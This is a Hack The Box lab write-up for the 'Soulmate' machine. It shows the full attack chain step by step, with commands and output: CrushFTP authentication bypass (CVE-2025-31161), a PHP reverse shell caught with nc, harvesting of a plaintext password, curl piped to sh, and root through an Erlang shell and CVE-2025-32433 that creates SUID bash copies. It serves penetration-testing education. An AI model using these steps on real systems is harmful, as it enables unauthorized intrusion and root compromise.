Post

HTB Soulmate Writeup

HTB Soulmate Writeup

Overview

This is an easy Linux machine on HackTheBox. We’re given the server’s IP and need to obtain the highest level of privilege.

Exploit Path

Through enumeration we discover the ftp subdomain which exposes a vulnerable/outdated CrushFTP web dashboard. Using CVE-2025-31161 we create an admin account and upload a php shell to establish a foothold. The ben user’s credentials are stored in a plaintext configuration file, allowing login over ssh and access to the user.txt flag!

An internal erlang shell on port 2222 gives access to root commands and the root.txt flag!

Using CVE-2025-32433, we have an unintended path that lets us run arbitrary commands as root as an unauthenticated user. By skipping the ben user we jump directly from www-data -> root

htb-soulmate-pwn

Enumeration

Port Scan

To list publicly accessible services we’ll run a port scan on the server

1
2
┌──(kali@kali)-[~/soulmate.htb]
└─$ rustscan --accessible -a 10.129.157.185 -- -A -sC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports like it's my full-time job. Wait, it is.

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.157.185:22
Open 10.129.157.185:80
Open 10.129.157.185:4369
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp   open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://soulmate.htb/
4369/tcp open  epmd    syn-ack ttl 63 Erlang Port Mapper Daemon
| epmd-info: 
|   epmd_port: 4369
|   nodes: 
|_    ssh_runner: 44559
  • 4369: EPMD will be important later!

ssh is enabled if we find account credentials down the line

1
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)

A webpage is hosted at soulmate.htb

1
2
3
4
5
80/tcp   open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://soulmate.htb/

Add soulmate.htb to our /etc/hosts file to resolve the domain and follow the redirect

1
<MACHINE-IP> soulmate.htb

epmd will map names to machine addresses for Erlang instances. Keep it in mind for later

1
2
3
4
5
4369/tcp open  epmd    syn-ack ttl 63 Erlang Port Mapper Daemon
| epmd-info: 
|   epmd_port: 4369
|   nodes: 
|_    ssh_runner: 44559

Subdomains

Fuzzing lets us discover additional subdomains under soulmate.htb

1
2
┌──(kali@kali)-[~/soulmate.htb]
└─$ wfuzz -c -t 50 -u http://soulmate.htb -H 'Host: FUZZ.soulmate.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 10
  • The --hw 10 flag tells the program to hide responses that contain 10 words. This’ll filter out subdomains that don’t lead anywhere!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://soulmate.htb/
Total requests: 114442

=====================================================================
ID           Response   Lines    Word       Chars       Payload                       
=====================================================================

000000003:   302        0 L      0 W        0 Ch        "ftp"                         

Total time: 0
Processed Requests: 114442
Filtered Requests: 114441
Requests/sec.: 0

Add the new ftp subdomain to our /etc/hosts file so we can access it!

1
<MACHINE_IP> soulmate.htb ftp.soulmate.htb

Initial Foothold

CrushFTP

Visiting ftp.soulmate.htb redirects us to a CrushFTP login page htb-soulmate-crushftp-homepage

By viewing the page source for login.html we get hints to a version number

1
2
3
4
5
6
7
8
navigator.serviceWorker
	.register("/WebInterface/new-ui/sw.js?v=11.W.657-2025_03_08_07_52")
	.then((e) => {
	  console.log(e);
	})
	.catch((error) => {
	  console.log(error);
	});

Through research, CrushFTP before v11.3.1 has an authentication bypass vulnerability (CVE-2025-31161).

Let’s download the exploit to our machine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali@kali)-[~/soulmate.htb]
└─$ git clone https://github.com/Immersive-Labs-Sec/CVE-2025-31161
Cloning into 'CVE-2025-31161'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 9 (delta 3), reused 4 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (9/9), 6.02 KiB | 3.01 MiB/s, done.
Resolving deltas: 100% (3/3), done.
┌──(kali@kali)-[~/soulmate.htb]
└─$ cd CVE-2025-31161

┌──(kali@kali)-[~/soulmate.htb/CVE-2025-31161]
└─$ ls
cve-2025-31161.py  LICENSE  README.md

Reading the help menu, we’re able to create a new account with admin privilges

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali@kali)-[~/soulmate.htb/CVE-2025-31161]
└─$ python3 cve-2025-31161.py 
  [-] Target host not specified
usage: cve-2025-31161.py [-h] [--target_host TARGET_HOST] [--port PORT] [--target_user TARGET_USER]
                         [--new_user NEW_USER] [--password PASSWORD]

Exploit CVE-2025-31161 to create a new account

options:
  -h, --help            show this help message and exit
  --target_host TARGET_HOST
                        Target host
  --port PORT           Target port
  --target_user TARGET_USER
                        Target user
  --new_user NEW_USER   New user to create
  --password PASSWORD   Password for the new user

Let’s create an admin user with the credentials dasian:dasian

1
2
3
4
5
6
7
8
9
┌──(kali@kali)-[~/soulmate.htb/CVE-2025-31161]
└─$ python3 cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --new_user dasian --password dasian
[+] Preparing Payloads
  [-] Warming up the target
[+] Sending Account Create Request
  [!] User created successfully
[+] Exploit Complete you can now login with
   [*] Username: dasian
   [*] Password: dasian.

By visiting the UserManager page we can browse files hosted on the server

1
http://ftp.soulmate.htb/WebInterface/UserManager/index.html

The default permissions let us read files, not write them. As admin we can fix this.

We’ll need to grant the upload permission on the /app directory for the dasian user. Drag the /app folder from the Server section to the User section and check the Upload box htb-soulmate-ftp-perms

Reverse Shell

Uploading a reverse shell to lets us run shell commands on the server!! I used the PHP PentestMonkey shell from revshells.com. Make sure to replace the IP with your machine’s IP (as seen by the server) and the port with 4444

Save the php reverse shell as shell.php on your machine and upload it to /app/webProd in CrushFTP. This will upload a file to the base site hosted on soulmate.htb

On your machine create a listener to catch the reverse shell request sent by the server

1
2
┌──(kali@kali)-[~]
└─$ nc -lvnp 4444 # listener on the attacking machine

We can run the php code/trigger the reverse shell by accessing the php file. You can visit the webpage in a browser or use curl in another terminal

1
2
┌──(kali@kali)-[~]
└─$ curl http://soulmate.htb/shell.php # trigger reverse shell

Either method will give us a shell on the server as www-data! htb-soulmate-foothold

We can stabilize and upgrade the shell using python3. This lets us clear the screen and use shortcuts that contain ctrl

1
2
3
4
5
6
7
www-data@soulmate:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
# ctrl + z
┌──(kali@kali)-[~]
└─$ stty raw -echo && fg
[1]  + continued  nc -lvnp 4444
www-data@soulmate:/$ export SHELL=/bin/bash
www-data@soulmate:/$ export TERM=screen

user.txt

Reading /etc/passwd tells us what users are on the system. Let’s focus on users that can access a shell

1
2
3
www-data@soulmate:/home$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ben:x:1000:1000:,,,:/home/ben:/bin/bash

Our next target is the ben user

linpeas

Upload and run linpeas to the server so we can find an exploit path

1
www-data@soulmate:/tmp$ curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • This works if the machine can reach github.com but soulmate.htb could not. We’ll need to upload it from our machine!

Download linpeas to your machine

1
2
┌──(kali@kali)-[~/server]
└─$ curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh > linpeas.sh

Start a web server on port 80 in the same directory as linpeas.sh

1
2
3
┌──(kali@kali)-[~/server]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Now we can download the file on the victim machine. Replace with your IP

1
www-data@soulmate:/tmp$ wget http://10.10.15.237/linpeas.sh

Let’s run the privilege escalation script to find a path that elevates our privileges

1
www-data@soulmate:/tmp$ sh linpeas.sh

In the output we see references to a critical configuration file

Under the running processes section we see the command that started the erlang shell

1
2
3
4
5
╔══════════╣ Running processes (cleaned)
╚ Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
# ... snip ...
root        1143  0.0  1.6 2251656 66840 ?       Ssl  08:32   0:05 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript
# ... snip ...

It’s also referenced here

1
2
3
4
╔══════════╣ Executable files potentially added by user (limit 70)
# snip
2025-08-15+07:46:57.3585015320 /usr/local/lib/erlang_login/start.escript
# snip

Reading /usr/local/lib/erlang_login/start.escript reveals ben’s credentials

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@soulmate:~$ cat /usr/local/lib/erlang_login/start.escript
# ... snip ...
{user_passwords, [{"ben", "Ho************98"}]},
        {idle_time, infinity},
        {max_channels, 10},
        {max_sessions, 10},
        {parallel_login, true}
    ]) of
        {ok, _Pid} ->
            io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
        {error, Reason} ->
            io:format("Failed to start SSH daemon: ~p~n", [Reason])
    end,
# ... snip ...

From our initial port scan, we know that ssh is open. Reusing these credentials lets us login as ben and grab user.txt! htb-soulmate-user

root.txt

From our initial port scan and the start.escript file we know that erlang's ssh_runner is running on port 2222. We can list open internal ports to make sure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ben@soulmate:~$ netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:34527         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:2222          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:39131         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:4369          0.0.0.0:*               LISTEN      -
tcp6       0      0 ::1:4369                :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

This is only accessible on the internal network. We need to create a local ssh session on top of our remote ssh session

1
2
3
4
5
6
7
8
9
ben@soulmate:~$ ssh ben@localhost -p 2222
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[localhost]:2222' (ED25519) to the list of known hosts.
ben@localhost's password: 
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>
  • This isn’t a normal ssh session, we’re now in an erlang shell. While running commands, don’t forget the . at the end!

According to the erlang documentation, the os module lets us run commands on the host operating system. The env command will list our privilege level

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(ssh_runner@soulmate)6> os:env().
[{"LOGNAME","root"},
 {"SYSTEMD_EXEC_PID","1142"},
 {"USER","root"},
 {"PROGNAME","erl"},
 {"ROOTDIR","/usr/local/lib/erlang"},
 {"SHELL","/bin/sh"},
 {"PWD","/"},
 {"PATH",
  "/usr/local/lib/erlang/erts-15.2.5/bin:/usr/local/lib/erlang/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"},
 {"HOME","/root"},
 {"JOURNAL_STREAM","8:24385"},
 {"LANG","en_US.UTF-8"},
 {"INVOCATION_ID","6912e25e1b9849de9cee57047a432c83"},
 {"EMU","beam"},
 {"ERL_FLAGS","-kernel inet_dist_use_interface {127,0,0,1}"},
 {"ESCRIPT_NAME","/usr/local/lib/erlang_login/start.escript"},
 {"BINDIR","/usr/local/lib/erlang/erts-15.2.5/bin"}]

We’re running as root! Let’s make a copy of /bin/bash with the suid bit set so we can pop a local root shell

1
(ssh_runner@soulmate)8> os:cmd('cp /bin/bash /tmp/bash; chmod +s /tmp/bash;').

Exiting the erlang shell and running the suid bash will give us a root shell and root.txt! htb-soulmate-root-txt

Unintended Root

From the initial port scan we know that erlang is running ssh_runner.

We can use CVE-2025-32433, an unauthenticated remote code execution vulnerability to bypass the need for ben and immediately get a root shell!

Let’s clone the repo and create a web server on the attacking machine

1
2
3
4
5
6
7
8
┌──(kali@kali)-[~/soulmate.htb]
└─$ git clone https://github.com/0xPThree/cve-2025-32433.git

┌──(kali@kali)-[~/soulmate.htb]
└─$ cd cve-2025-32433

┌──(kali@kali)-[~/soulmate.htb/cve-2025-32433]
└─$ python3 -m http.server 80

Download the exploit to run on the victim machine

1
www-data@soulmate:/tmp$ wget http://<attacker-ip>/cve-2025-32433.py

We can run the exploit on the server and create another suid bash binary to bypass the user privesc all together!

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@soulmate:/tmp$ python3 cve-2025-32433.py
[*] Connecting to SSH server...
[✓] Banner: SSH-2.0-Erlang/5.2.9
Q!60&Atcurve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,ext-info-s,kex-strict-s-v00@openssh.com9ssh-ed25519,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256aes256-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-gcm@openssh.com,aes128-ctr,chacha20-poly1305@openssh.com,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbcaes256-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-gcm@openssh.com,aes128-ctr,chacha20-poly1305@openssh.com,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc{hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1-etm@openssh.com,hmac-sha1{hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1-etm@openssh.com,hmac-sha1none,zlib@openssh.com,zlibnone,zlib@openssh.com,zlib
[*] Sending KEXINIT...
[*] Opening channel...
[?] Shell command: cp /bin/bash /tmp/unintended; chmod +s /tmp/unintended;
[*] Sending CHANNEL_REQUEST...
[✓] Payload sent.
www-data@soulmate:/tmp$ /tmp/unintended -p
unintended-5.1# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
unintended-5.1# 
This post is licensed under CC BY 4.0 by the author.